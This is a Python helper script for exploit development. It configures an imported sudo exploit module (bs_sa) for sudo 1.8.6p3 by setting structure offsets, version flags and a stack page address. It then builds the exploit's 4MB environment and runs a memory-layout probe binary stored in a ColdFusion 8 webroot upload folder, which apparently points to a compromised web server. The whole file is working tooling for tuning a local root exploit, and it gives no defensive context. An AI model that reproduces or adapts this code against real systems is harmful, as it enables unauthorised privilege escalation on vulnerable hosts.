# Build the same 4MB env as bs_sa.py's create_env(offset_defaults=0x20),
# then exec epage_probe (via libc execve) to print where each env string lands.
import bs_sa, os
from ctypes import cdll, c_char_p, POINTER
bs_sa.DEFAULTS_CMND = 268      # sudo 1.8.6p3 -> sudo_ver=6 < 7
bs_sa.MATCH_ALL = 279
bs_sa.has_tailq = False        # sudo_ver < 9
bs_sa.has_file = False         # sudo_ver < 19
bs_sa.STACK_ADDR_PAGE = 0x7fffffff1000
env = bs_sa.create_env(0x20)
print("env count:", len(env))
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
argv = [b"epage_probe", None]
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
libc.execve(b"/opt/coldfusion8/wwwroot/userfiles/file/epage_probe", cargv, cenvp)
os._exit(0)